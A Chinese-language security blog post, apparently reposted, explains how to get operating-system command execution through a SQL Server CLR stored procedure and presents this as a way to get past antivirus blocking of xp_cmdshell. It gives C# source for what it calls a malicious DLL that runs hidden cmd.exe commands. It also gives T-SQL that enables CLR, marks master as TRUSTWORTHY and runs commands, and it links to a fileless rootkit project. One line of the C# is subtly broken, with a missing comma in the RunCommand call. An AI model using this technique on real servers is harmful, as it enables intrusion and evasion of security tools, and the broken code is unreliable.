利用 MSSQL CLR 实现不落地命令执行
2023-5-22 10:17:45 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:70 收藏

0X00 前言

在我们想要通过SQL Server来执行命令的时候,我们通常的做法是通过xp_cmdshellsp_OACreate来实现执行命令的需求,然而在某些条件下,我们在利用这两个存储过程的时候经常会遇到被查杀拦截等情况,这些情况导致我们无法达到我们执行的命令的需求,本文将介绍另外一种方法:利用SQL Server CLR来实现不落地执行命令的需求。

0X01 什么是CLR

CLR 是微软的公共语言运行库,是 .NET Framework 的核心,为所有 .NET Framework 代码提供执行环境。在 CLR 中运行的代码称为托管代码。CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。由于托管代码在执行之前才编译为本机代码,因此在某些情形下可以大幅提高性能。

0X02 基于CLR的恶意dll

示例代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe"" /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

在编译的时候要注意这个地方选择生成.sql文件

同时要将权限级别改为UNSAFE,因为我们要调用外部程序,必须设置为UNSAFE才可以。

这段代码编译后会产生这几个文件

我们可以使用SQL Server来引用这个dll文件去执行命令,这种方式这里不加以赘述,这里将讨论无文件落地的命令执行。

0X03 无文件落地的命令执行

在SQL Server 2016以后,默认禁用了基于CLR的DLL文件,我们可以通过如下命令解除禁用

sp_configure 'clr enabled',1
GO
RECONFIGURE
GO

确认可信任关系

ALTER DATABASE master SET TRUSTWORTHY ON;

接下来我们需要用上述目录中生成的.sql文件中的一段代码来创建我们的存储过程

可见成功创建了一个clr的程序集,然后我们使用如下代码创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR(MAX)
AS EXTERNAL NAME [clr].[StoredProcedures].[ExecCommand]
go

可见成功创建了存储过程,然后执行命令

exec dbo.execcommand 'whoami'

0x04 小结

CLR的命令执行可以在一些情况下bypass杀软达到我们预期执行命令的需求,笔者在这里只是给出简单的demo代码,具体复杂的实现,读者可以自行研究,或可魔改或可直接使用这个项目:https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit/实现其他功能。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247499866&idx=1&sn=f463d4daffbe966210d3542bc79786c9&chksm=c30555ddf472dccb67cf7b7bcf16fb797cc89cc8ccf456168ac10535b6391f3db6647639a8cc#rd
如有侵权请联系:admin#unsafe.sh